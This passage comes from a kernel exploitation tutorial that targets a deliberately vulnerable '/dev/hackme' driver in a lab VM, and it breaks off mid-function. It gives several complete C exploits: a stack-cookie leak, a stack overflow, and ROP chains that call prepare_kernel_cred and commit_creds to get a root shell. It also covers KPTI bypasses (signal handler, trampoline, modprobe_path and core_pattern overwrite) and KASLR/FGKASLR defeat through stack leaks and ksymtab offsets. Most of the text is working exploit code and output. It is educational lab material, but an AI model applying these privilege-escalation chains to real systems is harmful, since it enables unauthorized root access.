    if (global_fd < 0) {
        printf("[-] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}

void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[cookie_off];
    printf("[+] leaked cookie 0x%lx at offset %d \n", cookie, cookie_off);
}

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}

void payload(){
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] we are root (uid = %d)\n", uid);
    } else {
        printf("[!] we are not root (uid: %d)\n", uid);
        exit(-1);
    }
    execl("/bin/sh", "sh", NULL);
    exit(0);
}

uint64_t user_rip = (uint64_t) payload;     // the last part of our ROP chain

uint64_t prepare_kernel_cred = 0xffffffff814c67f0;   // the offset from /proc/kallsyms
uint64_t commit_creds = 0xffffffff814c6410;

uint64_t pop_rdi_ret = 0xffffffff8100767c;     // pop rdi; ret
uint64_t mov_rdi_rax_movrsi_poprbp = 0xffffffff816bf203; // mov rdi, rax; mov [rsi+0x140], rdi; pop rbp; ret;
uint64_t swapgs_poprbp_ret = 0xffffffff8120109c; // swapgs; pop rbp; ret;
uint64_t iretq = 0xffffffff8100c0d9; // iretq;

void build_fake_stack(void){
    uint64_t * fake_stack = mmap((void *)0x5b000000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
    // need to subtract 0x1000, as prepare_kernel_cred and commit_creds also need space on the stack.
    unsigned off = 0x1000 / 8;
    fake_stack[0] = 0xdead; // put something in the first page to prevent fault
    fake_stack[off++] = 0x0; // popped to R12 due to gadget
    fake_stack[off++] = 0x0; // popped to RBP due to gadget
    // remainder of the ROP chain is as previously
    fake_stack[off++] = (uint64_t) pop_rdi_ret;
    fake_stack[off++] = (uint64_t) 0;
    fake_stack[off++] = (uint64_t) prepare_kernel_cred;  // prepare_kernel_cred(0)

    fake_stack[off++] = (uint64_t) mov_rdi_rax_movrsi_poprbp;  // need to move result to rdi
    fake_stack[off++] = (uint64_t) 0; // popped to ebp
    fake_stack[off++] = (uint64_t) commit_creds; // commit_creds(prepare_kernel_cred(0))

    fake_stack[off++] = (uint64_t) swapgs_poprbp_ret; // swapgs
    fake_stack[off++] = (uint64_t) 0; // this is popped to rbp

    fake_stack[off++] = (uint64_t) iretq;  // restore registers from user mode
    fake_stack[off++] = (uint64_t) user_rip;
    fake_stack[off++] = (uint64_t) user_cs;
    fake_stack[off++] = (uint64_t) user_rflags;
    fake_stack[off++] = (uint64_t) user_sp;
    fake_stack[off++] = (uint64_t) user_ss;
}

uint64_t mov_esp_pop2_ret = 0xffffffff8196f56a; // mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret

void overflow_stack(){
    uint8_t sz = 40;
    uint64_t payload[sz];
    payload[cookie_off++] = cookie;
    payload[cookie_off++] = (uint64_t) 0;  // RBX
    payload[cookie_off++] = (uint64_t) 0;  // R12
    payload[cookie_off++] = (uint64_t) 0;  // RBP
    payload[cookie_off++] = (uint64_t) mov_esp_pop2_ret;  // stack pivot gadget

    write(global_fd, payload, sizeof(payload));
    puts("if you can read this, it did not work.");
}

int main(int argc, char **argv){
    open_dev();
    save_state();
    leak_cookie();
    build_fake_stack();
    overflow_stack();
    return 0;
}

Adding KPTI

Next, we will add Kernel page-table isolation (KPTI).

For this we edit run.sh to include -append "console=ttyS0 kpti=1 nokaslr quiet panic=1".

KPTI is a mechanism to isolate kernel page tables from user space. In user space only the necessary page tables from the kernel are mapped that allow to switch to kernel mode.

Thus, if we execute the previous exploit, we get a segmentation fault, instead of a kernel panic. This happens, as the system tries to access pages from the kernel while in user mode that are not mapped anymore.

The following ASCII art illustrates the results of KPTI.

   Without KPTI                              With KPTI

+----------------+            +----------------+   +----------------+
|                |            |                |   |                |
|  Kernel pages  |            |  Kernel pages  |   |                |
|                |            |                |   +----------------+
|                |            |                |   |  Kernel pages  |
+----------------+            +----------------+   +----------------+
|                |            |                |   |                |
|                |            |                |   |                |
|                | ---------> |                |   |                |
|                |            |                |   |                |
|  User pages    |            |  User pages    |   |  User pages    |
|                |            |                |   |                |
|                |            |                |   |                |
|                |            |                |   |                |
|                |            |                |   |                |
|                |            |                |   |                |
|                |            |                |   |                |
+----------------+            +----------------+   +----------------+

 User + Kernel                Kernel mode          User mode
 mode

I have read about three ways to bypass KPTI

Using a signal handler: Here, a signal handler for the segmentation fault is registered that will execute the payload with root privileges.
KPTI Trampolines: The kernel needs to contain a functionality for changing from kernel mode to user mode. This function called a KPTI trampoline is still mapped in memory, even when we are in user mode and hence can be used to return to the user space, without our hacky swapgs and iretq gadgets.
Abusing modprobe: The kernel has a reference to the path of the binary modprobe. Under some circumstances, the variable at this path is executed. If the path is overwritten, and the circumstances are achieved, then the file at the path is executed. This execution happens with kernel privileges.

KPTI Bypass 1: Using a Signal Handler

This is probably the easiest way to circumvent KPTI. Remember that if we execute the previous exploit, we get a segmentation fault. We can register a signal handler that handles the segmentation fault and executes the payload. The segmentation fault occurs after the elevation of privileges, when the switch back to user mode with iretq is performed. Hence, we only need to prevent the process from crashing. Instead of executing the payload, the registered function to handle the segmentation fault could simply do nothing.

Adding a signal handler can be performed by including the line signal(SIGSEGV, payload); within the main function. Further, we need to include the respective headers using #include <signal.h>.

These are really the only changes that need to be made. But for the sake of completeness here is the full code.

#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>


char *VULN_DRV = "/dev/hackme";

int64_t global_fd = 0;
uint64_t cookie = 0;
uint64_t cookie_off = 16;

uint64_t user_cs, user_ss, user_rflags, user_sp;     // for storing the registers

void open_dev(){
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        printf("[-] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}

void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[cookie_off];
    printf("[+] leaked cookie 0x%lx at offset %d \n", cookie, cookie_off);
}

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}

void payload(){
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] we are root (uid = %d)\n", uid);
    } else {
        printf("[!] we are not root (uid: %d)\n", uid);
        exit(-1);
    }
    execl("/bin/sh", "sh", NULL);
    exit(0);
}

uint64_t user_rip = (uint64_t) payload;     // the last part of our ROP chain

uint64_t prepare_kernel_cred = 0xffffffff814c67f0;   // the offset from /proc/kallsyms
uint64_t commit_creds = 0xffffffff814c6410;

uint64_t pop_rdi_ret = 0xffffffff8100767c;     // pop rdi; ret
uint64_t mov_rdi_rax_movrsi_poprbp = 0xffffffff816bf203; // mov rdi, rax; mov [rsi+0x140], rdi; pop rbp; ret;
uint64_t swapgs_poprbp_ret = 0xffffffff8120109c; // swapgs; pop rbp; ret;
uint64_t iretq = 0xffffffff8100c0d9; // iretq;

void overflow_stack(){
    uint8_t sz = 40;
    uint64_t payload[sz];
    payload[cookie_off++] = cookie;
    payload[cookie_off++] = (uint64_t) 0;  // RBX
    payload[cookie_off++] = (uint64_t) 0;  // R12
    payload[cookie_off++] = (uint64_t) 0;  // RBP
    payload[cookie_off++] = (uint64_t) pop_rdi_ret;
    payload[cookie_off++] = (uint64_t) 0;
    payload[cookie_off++] = (uint64_t) prepare_kernel_cred;  // prepare_kernel_cred(0)

    payload[cookie_off++] = (uint64_t) mov_rdi_rax_movrsi_poprbp;  // need to move result to rdi
    payload[cookie_off++] = (uint64_t) 0; // popped to ebp
    payload[cookie_off++] = (uint64_t) commit_creds; // commit_creds(prepare_kernel_cred(0))

    payload[cookie_off++] = (uint64_t) swapgs_poprbp_ret; // swapgs
    payload[cookie_off++] = (uint64_t) 0; // this is popped to rbp

    payload[cookie_off++] = (uint64_t) iretq;  // restore registers from user mode
    payload[cookie_off++] = (uint64_t) user_rip;
    payload[cookie_off++] = (uint64_t) user_cs;
    payload[cookie_off++] = (uint64_t) user_rflags;
    payload[cookie_off++] = (uint64_t) user_sp;
    payload[cookie_off++] = (uint64_t) user_ss;

    write(global_fd, payload, sizeof(payload));
    puts("if you can read this, it did not work.");
}

int main(int argc, char **argv){
    signal(SIGSEGV, payload);  // register the signal handle to bypass KPTI.
    open_dev();
    save_state();
    leak_cookie();
    overflow_stack();
    return 0;
}

KPTI Bypass 2: KPTI Trampolines

This is the idea that you can find in most writeups on bypassing KPTI. The main idea is that if a syscall returns normally, then there is a piece of code that achieves this. This code is called a KPTI trampoline and changes the memory page tables from kernel space to user space. It will swap the page tables and then execute swapgs and iretq, just like we did manually. In Linux this function is called swapgs_restore_regs_and_return_to_usermode, and we can find its position by looking for it in the kallsyms. Note that we need administrative privileges for that.

# cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode

Disassembling this function with radare2 can be done as shown below.

$ r2 -A vmlinux
...
[0xffffffff81e00000]> s 0xffffffff81200f10
[0xffffffff81200f10]> pdb
│           ; CODE XREF from fcn.ffffffff812010d0 @ 0xffffffff8120137e(x)
│           ; DATA XREF from fcn.ffffffff8159fce0 @ 0xffffffff8159fced(x)
│           ; DATA XREF from fcn.ffffffff815a0180 @ 0xffffffff815a01ee(x)
│           0xffffffff81200f10      415f           pop r15
│           0xffffffff81200f12      415e           pop r14
│           0xffffffff81200f14      415d           pop r13
│           0xffffffff81200f16      415c           pop r12
│           0xffffffff81200f18      5d             pop rbp
│           0xffffffff81200f19      5b             pop rbx
│           0xffffffff81200f1a      415b           pop r11
│           0xffffffff81200f1c      415a           pop r10
│           0xffffffff81200f1e      4159           pop r9
│           0xffffffff81200f20      4158           pop r8
│           0xffffffff81200f22      58             pop rax
│           0xffffffff81200f23      59             pop rcx
│           0xffffffff81200f24      5a             pop rdx
│           0xffffffff81200f25      5e             pop rsi
│           0xffffffff81200f26      4889e7         mov rdi, rsp
│           0xffffffff81200f29      65488b2425..   mov rsp, qword gs:[0x6004]
│           0xffffffff81200f32      ff7730         push qword [rdi + 0x30]
│           0xffffffff81200f35      ff7728         push qword [rdi + 0x28]
│           0xffffffff81200f38      ff7720         push qword [rdi + 0x20]
│           0xffffffff81200f3b      ff7718         push qword [rdi + 0x18]
│           0xffffffff81200f3e      ff7710         push qword [rdi + 0x10]
│           0xffffffff81200f41      ff37           push qword [rdi]
│           0xffffffff81200f43      50             push rax
│       ┌─< 0xffffffff81200f44      eb43           jmp 0xffffffff81200f89
[0xffffffff81200f41]> s 0xffffffff81200f89
[0xffffffff81200f89]> pdb
│           ; CODE XREF from fcn.ffffffff812010d0 @ 0xffffffff81200f44(x)
│           0xffffffff81200f89      58             pop rax
│           0xffffffff81200f8a      5f             pop rdi
│           0xffffffff81200f8b      ff15f7f0e300   call qword [0xffffffff82040088]  ; swapgs
│           0xffffffff81200f91      ff25e9f0e300   jmp qword [0xffffffff82040080]   ; iretq

The swapgs and iretq can be found in the last call and the jmp. Apparently, this small stub is still mapped in memory, even when we are in user mode, as it is necessary to leave the kernel. I do not exactly know, why this cannot be removed and needs to be accessible from user mode, but apparently that is how things are. Hence, we can use it to bypass KPTI.

The plan is to jump to swapgs_restore_regs_and_return_to_usermode+22, as that is the part where the push operations begin. Note that at the start of 0xffffffff81200f89 there are two additional pop instructions that we have to take care of.

What is left is to exchange the swapgs and iretq in our ROP chain with swapgs_restore_regs_and_return_to_usermode+22 and two dummy arguments that will be popped to RAX and RDI.

The full code is shown below.

#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char *VULN_DRV = "/dev/hackme";

int64_t global_fd = 0;
uint64_t cookie = 0;
uint64_t cookie_off = 16;

uint64_t user_cs, user_ss, user_rflags, user_sp;     // for storing the registers

void open_dev(){
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        printf("[-] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}

void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[cookie_off];
    printf("[+] leaked cookie 0x%lx at offset %d \n", cookie, cookie_off);
}

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}

void payload(){
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] we are root (uid = %d)\n", uid);
    } else {
        printf("[!] we are not root (uid: %d)\n", uid);
        exit(-1);
    }
    execl("/bin/sh", "sh", NULL);
    exit(0);
}

uint64_t user_rip = (uint64_t) payload;     // the last part of our ROP chain

uint64_t prepare_kernel_cred = 0xffffffff814c67f0;   // the offset from /proc/kallsyms
uint64_t commit_creds = 0xffffffff814c6410;

uint64_t pop_rdi_ret = 0xffffffff8100767c;     // pop rdi; ret
uint64_t mov_rdi_rax_movrsi_poprbp = 0xffffffff816bf203; // mov rdi, rax; mov [rsi+0x140], rdi; pop rbp; ret;

uint64_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81200f10; // the offset from /proc/kallsyms


void overflow_stack(){
    uint8_t sz = 40;
    uint64_t payload[sz];
    payload[cookie_off++] = cookie;
    payload[cookie_off++] = (uint64_t) 0;  // RBX
    payload[cookie_off++] = (uint64_t) 0;  // R12
    payload[cookie_off++] = (uint64_t) 0;  // RBP
    payload[cookie_off++] = (uint64_t) pop_rdi_ret;
    payload[cookie_off++] = (uint64_t) 0;
    payload[cookie_off++] = (uint64_t) prepare_kernel_cred;  // prepare_kernel_cred(0)

    payload[cookie_off++] = (uint64_t) mov_rdi_rax_movrsi_poprbp;  // need to move result to rdi
    payload[cookie_off++] = (uint64_t) 0; // popped to ebp
    payload[cookie_off++] = (uint64_t) commit_creds; // commit_creds(prepare_kernel_cred(0))

    payload[cookie_off++] = (uint64_t) swapgs_restore_regs_and_return_to_usermode + 22; // KPTI trampoline
    payload[cookie_off++] = (uint64_t) 0; // dummy RAX
    payload[cookie_off++] = (uint64_t) 0; // dummy RDI
    payload[cookie_off++] = (uint64_t) user_rip;
    payload[cookie_off++] = (uint64_t) user_cs;
    payload[cookie_off++] = (uint64_t) user_rflags;
    payload[cookie_off++] = (uint64_t) user_sp;
    payload[cookie_off++] = (uint64_t) user_ss;

    write(global_fd, payload, sizeof(payload));
    puts("if you can read this, it did not work.");
}

int main(int argc, char **argv){
    open_dev();
    save_state();
    leak_cookie();
    overflow_stack();
    return 0;
}

KPTI Bypass 3: Abuse Modprobe

The binary modprobe is used to add or remove modules from the kernel. Its path is stored in a global kernel variable that can be accessed in /proc/sys/kernel/modprobe and usually defaults to /sbin/modprobe. Further, a reference to this variable called modprobe_path can be found in the kernel symbols accessible using /proc/kallsyms, as it is a kernel variable.

The game plan is to overwrite the path of modprobe with a filename of a file containing custom commands. Overwriting modprobe_path can be performed using a ROP chain. The file containing the custom commands can be created any way you like. The final execution of the file referenced using modprobe_path and hence our commands, can be performed by calling execve on a binary that has no format handler specified.

The whole procedure is reminiscent of the fine intricacies of a theater play, albeit with actors that have strange names.

I will spare you the details and the code, but if you want to know more, you can find more information in paragraph “Version 3: Probing the mods” of this writeup.

There are also other so-called user mode helpers in addition to modprobe that can be used in a similar way. As an example, the file /proc/sys/kernel/core_pattern contains the command that is used to create coredumps. This can again be overwritten to point to an evil binary and then a coredump can be triggered to execute the evil binary..

Adding KASLR

Next, let us add KASLR back by adding -kaslr to run.sh so we have -append "console=ttyS0 kpti=1 kaslr quiet panic=1".

Preliminaries

To understand KASLR, let us first start with Address Space Layout Randomization (ASLR). ASLR is an exploit mitigation in user space that prevents building reliable ROP gadgets. This was added to Linux around 2005. The main idea is to randomize the memory space, such that the ROP gadgets are at different addresses in different runs and thus cannot be reliably jumped to. There are various implementations, some only randomize the .text section, some also randomize the stack, heap, and libraries.

Usually, the way to bypass ASLR is to get an address leak. If only the base address of the loaded executable is randomized, then the offsets are still the same in multiple runs. Hence, from an address leak the relative offsets of the ROP gadgets can be calculated and hence, ASLR could be bypassed.

Kernel ASLR (KASLR) is basically ASLR, but in kernel mode. This was merged to Linux around 2014 in version 3.14. Back in the days this loaded the kernel at a random base address, but left the offsets intact. This old version can be activated using the options kaslr and nofgkaslr in run.sh.

In 2021, Function Granular KASLR (FGKASLR) was introduced which is a finer grained kernel address space randomization. In particular, the kernel code is rearranged per function. Hence, even when a kernel address leak exists, it is hard to exploit, as computing the relative offsets does not work anymore.

Reconnaissance

The introduction of KASLR breaks all our previously developed exploits, as it changes the addresses of the ROP gadgets.

There are two places where we can start our investigation. We can leak the stack and compare how it changes between different runs. Or we can modify initramfs/etc/inittab to give us a root shell so we can read /proc/kallsyms and compare the addresses of the kernel symbols between multiple runs.

Investigating the Stack

We already developed leak_stack.c above which allows us to read the stack. We executed this file two times and stored the output in stack1.txt and stack2.txt. Comparing the two outputs using diff stack1.txt stack2.txt yields the following.

3c3
< [+] offset 0 contains value: 0xffffffffa53648f0
---
> [+] offset 0 contains value: 0xffffffff8f8d0280
5,7c5,7
< [+] offset 2 contains value: 0xcd9ac705e3874700
< [+] offset 3 contains value: 0xffff981606caef10
< [+] offset 4 contains value: 0xffffaa5a001bfe68
---
> [+] offset 2 contains value: 0x310671060c9fe500
> [+] offset 3 contains value: 0xffff97ae86cae610
> [+] offset 4 contains value: 0xffffa424c01bfe68
9,15c9,15
< [+] offset 6 contains value: 0xffff981606caef00
< [+] offset 7 contains value: 0xffffaa5a001bfef0
< [+] offset 8 contains value: 0xffff981606caef00
< [+] offset 9 contains value: 0xffffaa5a001bfe80
< [+] offset 10 contains value: 0xffffffffa5749a47
< [+] offset 11 contains value: 0xffffffffa5749a47
< [+] offset 12 contains value: 0xffff981606caef00
---
> [+] offset 6 contains value: 0xffff97ae86cae600
> [+] offset 7 contains value: 0xffffa424c01bfef0
> [+] offset 8 contains value: 0xffff97ae86cae600
> [+] offset 9 contains value: 0xffffa424c01bfe80
> [+] offset 10 contains value: 0xffffffff8fd3d9c7
> [+] offset 11 contains value: 0xffffffff8fd3d9c7
> [+] offset 12 contains value: 0xffff97ae86cae600
17,19c17,19
< [+] offset 14 contains value: 0x7ffeda3ac880
< [+] offset 15 contains value: 0xffffaa5a001bfea0
< [+] offset 16 contains value: 0xcd9ac705e3874700
---
> [+] offset 14 contains value: 0x7ffe51038100
> [+] offset 15 contains value: 0xffffa424c01bfea0
> [+] offset 16 contains value: 0x310671060c9fe500
....

We can see, that some addresses are similar in both runs. E.g., on offset 15 we had 0xffffaa5a001bfea0 and 0xffffa424c01bfea0. The last three and a half bytes are the same: 01bfea0.

If we squint hard enough, we can also see which lines are the same in both files. Another approach is using the comm command, which gives us immediately the lines that are the same in both files, but unfortunately only works on sorted inputs.

$ comm -12 <(sort stack1.txt) <(sort stack2.txt)
[*] trying to leak up to 320 bytes memory
[+] offset 1 contains value: 0x2a
[+] offset 13 contains value: 0x0
[+] offset 17 contains value: 0x140
[+] offset 18 contains value: 0x0
[+] offset 24 contains value: 0x140
[+] offset 25 contains value: 0x0
[+] offset 29 contains value: 0x0
[+] offset 32 contains value: 0x0
[+] offset 33 contains value: 0x0
[+] offset 34 contains value: 0x0
[+] offset 39 contains value: 0x0
[+] offset 5 contains value: 0x4
[+] successfully opened /dev/hackme

Here, we see that all values that stay the same are parameters and not addresses.

If we leak more values from the stack, we learn some more values that are similar between different runs. In particular we are interested in offsets that start with the same value. The idea is that the leaked values describe the randomized base address added to a fixed offset. As the fixed offset is the same across multiple runs, we can compute the address of valuable functions, if we know their distance to a leaked value, as the distance stays the same.

How do we know if a function is valuable? We can search for it in /proc/kallsyms and if it corresponds to a symbol, it may be valuable, as we can compute offsets from that symbol.

As an example, if we set the lower two bytes of the value at the stack offset 38 to zero, we arrive at the base address of the kernel.

/ # ./leak_stack | grep 38
[+] offset 38 contains value: 0xffffffffa680a157
/ # grep ffffffffa6800000 /proc/kallsyms
ffffffffa6800000 T _text
ffffffffa6800000 T startup_64
ffffffffa6800000 T _stext

Another useful stack leak is at offset 41. Setting the lower bytes to zero yields again the address of a symbol in the kernel table.

/ # ./leak_stack | grep 41
[+] offset 41 contains value: 0xffffffffa6a0008c
[+] offset 53 contains value: 0x417421
[+] offset 58 contains value: 0x417421
/ # grep ffffffffa6a00000 /proc/kallsyms
ffffffffa6a00000 T native_usergs_sysret64
ffffffffa6a00000 T __entry_text_start

Note that we could now start to rebuild our ROP chain, by computing the base address of the kernel from the stack offset 38. The addresses of the ROP gadgets can then be computed by their offset from the kernel base address. For the old implementation of ASLR, i.e. for KASLR that is not FGKASLR this works.

We need to set nofgkaslr in run.sh. Then, the following code implements the attack on simple KASLR that only adds a random offset to the kernel base address.

#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char *VULN_DRV = "/dev/hackme";

int64_t global_fd = 0;
uint64_t cookie = 0;
uint64_t cookie_off = 16;

uint64_t user_cs, user_ss, user_rflags, user_sp;     // for storing the registers
uint64_t kernel_base;

// rop gadgets
uint64_t prepare_kernel_cred;   // the offset from /proc/kallsyms
uint64_t commit_creds;
uint64_t pop_rdi_ret;     // pop rdi; ret
uint64_t mov_rdi_rax_movrsi_poprbp; // mov rdi, rax; mov [rsi+0x140], rdi; pop rbp; ret;
uint64_t swapgs_restore_regs_and_return_to_usermode; // the offset from /proc/kallsyms


void open_dev(){
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        printf("[-] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}

void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[cookie_off];
    printf("[+] leaked cookie 0x%lx at offset %d \n", cookie, cookie_off);
    kernel_base = leak[38] - 0x0a157UL;
    printf("[+] leaked kernel_base 0x%lx\n", kernel_base);
    prepare_kernel_cred = kernel_base + 0x4c67f0UL;   // the offset from /proc/kallsyms
    printf("[+] leaked prepare_kernel_cred 0x%lx\n", prepare_kernel_cred);
    commit_creds = kernel_base + 0x4c6410UL;
    printf("[+] leaked ksymtab_commit_creds 0x%lx\n", commit_creds);
    pop_rdi_ret = kernel_base + 0x00767cUL;     // pop rdi; ret
    mov_rdi_rax_movrsi_poprbp = kernel_base + 0x6bf203UL; // mov rdi, rax; mov [rsi+0x140], rdi; pop rbp; ret;
    swapgs_restore_regs_and_return_to_usermode = kernel_base + 0x200f10UL; // the offset from /proc/kallsym
}


void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}

void payload(){
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] we are root (uid = %d)\n", uid);
    } else {
        printf("[!] we are not root (uid: %d)\n", uid);
        exit(-1);
    }
    execl("/bin/sh", "sh", NULL);
    exit(0);
}

uint64_t user_rip = (uint64_t) payload;     // the last part of our ROP chain

void overflow_stack(){
    uint8_t sz = 40;
    uint64_t payload[sz];
    payload[cookie_off++] = cookie;
    payload[cookie_off++] = (uint64_t) 0;  // RBX
    payload[cookie_off++] = (uint64_t) 0;  // R12
    payload[cookie_off++] = (uint64_t) 0;  // RBP
    payload[cookie_off++] = (uint64_t) pop_rdi_ret;
    payload[cookie_off++] = (uint64_t) 0;
    payload[cookie_off++] = (uint64_t) prepare_kernel_cred;  // prepare_kernel_cred(0)

    payload[cookie_off++] = (uint64_t) mov_rdi_rax_movrsi_poprbp;  // need to move result to rdi
    payload[cookie_off++] = (uint64_t) 0; // popped to ebp
    payload[cookie_off++] = (uint64_t) commit_creds; // commit_creds(prepare_kernel_cred(0))

    payload[cookie_off++] = (uint64_t) swapgs_restore_regs_and_return_to_usermode + 22; // KPTI trampoline, +22 jumps to the first mov, so we need dummy pops
    payload[cookie_off++] = (uint64_t) 0; // dummy RAX
    payload[cookie_off++] = (uint64_t) 0; // dummy RDI
    payload[cookie_off++] = (uint64_t) user_rip;
    payload[cookie_off++] = (uint64_t) user_cs;
    payload[cookie_off++] = (uint64_t) user_rflags;
    payload[cookie_off++] = (uint64_t) user_sp;
    payload[cookie_off++] = (uint64_t) user_ss;

    write(global_fd, payload, sizeof(payload));
    puts("if you can read this, it did not work.");
}

int main(int argc, char **argv){
    open_dev();
    save_state();
    leak_cookie();
    overflow_stack();
    return 0;
}

Executing this code yields the following:

/ $ ./exploit_kaslr
[+] successfully opened /dev/hackme
[*] Saved state
[*] trying to leak up to 320 bytes memory
[+] leaked cookie 0x7db22304978a2500 at offset 16
[+] leaked kernel_base 0xffffffffb3a00000
[+] leaked prepare_kernel_cred 0xffffffffb3ec67f0
[+] leaked ksymtab_commit_creds 0xffffffffb3ec6410
[+] we are root (uid = 0)

The next step is dealing with full FGKASLR. Thus, the randomization takes place on the granularity of functions.

Comparing Addresses of Kernel Symbols

After investigating the stack, let us now compare the location of kernel symbols for different runs. For this, we need to modify initramfs/etc/inittab to give us a root shell so we can access /proc/kallsyms.

We execute run.sh and then take a look at /proc/kallsyms. For this, we needed to increase the size of the scroll buffer of bash so we could simply cat /proc/kallsyms and copy the output. Then, we did this again.

Comparing the locations of the kernel symbols for these two runs, e.g., using vimdiff shows that FGKASLR does not apply to the whole kernel space.

Below we see an excerpt of the first run.

ffffffffa7200000 T _text
...
ffffffffa7600dc6 T __x86_retpoline_r15
ffffffffa7600de0 T pm_wakeup_source_sysfs_add
...

And here is an excerpt of the second run.

ffffffff83e00000 T _text
...
ffffffff84200dc6 T __x86_retpoline_r15
ffffffff84200de0 T agp_bind_memory
...

For the section between _text and __x86_retpoline_r15, we see that only the three bytes after ffffffff are different. The order of the symbols and also their relative distances are the same. Hence, this is only affected by KASLR, but not FGKASLR. The length of this area is ffffffff84200dc6 - ffffffff83e00000 = 400dc6.

Later, the order of functions is randomized. This is where FGKASLR is applied.

What is not shown in the excerpt is that even later, starting from the symbol __start_rodata to the end, again only KASLR is applied. However, as suggested by the name, this section contains read-only data and hence cannot be directly used for the construction of ROP gadgets as it is not executable. However, it contains structs such as ksymtab which can be used to calculate addresses.

As an example both functions prepare_kernel_cred and commit_creds are in the section randomized using FGKASLR. Hence, we cannot compute their offsets, given the kernel base address naively. But within ksymtab there are the structs __ksymtab_prepare_kernel_cred and __ksymtab_commit_creds. These are defined as follows.

struct kernel_symbol {
	  int value_offset;
	  int name_offset;
	  int namespace_offset;
};

If we add the value_offset to the address of the entry symbol, then we find the actual symbol. Thus, we can compute the addresses of prepare_kernel_cred and commit_creds using an appropriate ROP chain, even though these symbols reside in the memory area using FGKASLR.

Further, if we take a look at the ROP gadgets that we used previously, we see that all of them reside in the KASLR section, except for mov_rdi_rax_movrsi_poprbp = 0xffffffff816bf203; that resides in the FGKASLR section.

We can filter for gadgets in the correct section using ROPGadget (pip install ROPGadget) with ROPgadget --binary ./vmlinux --range 0xffffffff81000000-0xffffffff81400dc6. Or using ropr (cargo install ropr) with ropr --range "0xffffffff81000000-0xffffffff81400dc6" ./vmlinux

As we know that without KASLR a kernel is loaded at 0xffffffff81000000, we can quickly compute the offsets. As an example, in the previous exploit using a signal for the KPTI bypass, we had the following ROP gadget.

uint64_t pop_rdi_ret = 0xffffffff8100767c; // pop rdi; ret

With KASLR, this becomes the following.

uint64_t pop_rdi_ret = kernel_base + 0x0000767cUL; // pop rdi; ret

Leaking the Addresses of `prepare_kernel_cred` and `commit_cred`

For our exploit we need the addresses of the functions prepare_kernel_cred and commit_cred. Unfortunately for us, both of these symbols are in a section of the kernel that is affected by FGKASLR. Hence, we cannot compute their addresses in the kernel by adding a fixed offset to the kernel base.

However, we already saw that there is a section at the end of the kernel memory containing read-only data whose addresses are randomized using only ASLR and not KASLR. This section contains the structs __ksymtab_prepare_kernel_cred and __ksymtab_commit_creds whose addresses we could compute. From these, we can compute the addresses of prepare_kernel_cred and commit_cred.

So let us start to access __ksymtab_prepare_kernel_cred and __kstrtab_commit_creds by adding their offsets to the kernel base address. For this, we modified the function leak_cookie() as follows:

void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[16];
    printf("[+] leaked cookie: 0x%lx\n", cookie);
    uint64_t kernel_base = leak[38] - 0x0a157UL;
    printf("[+] leaked kernel_base 0x%lx\n", kernel_base);
    uint64_t ksymtab_prepare_kernel_cred = kernel_base + 0xf8d4fcUL;
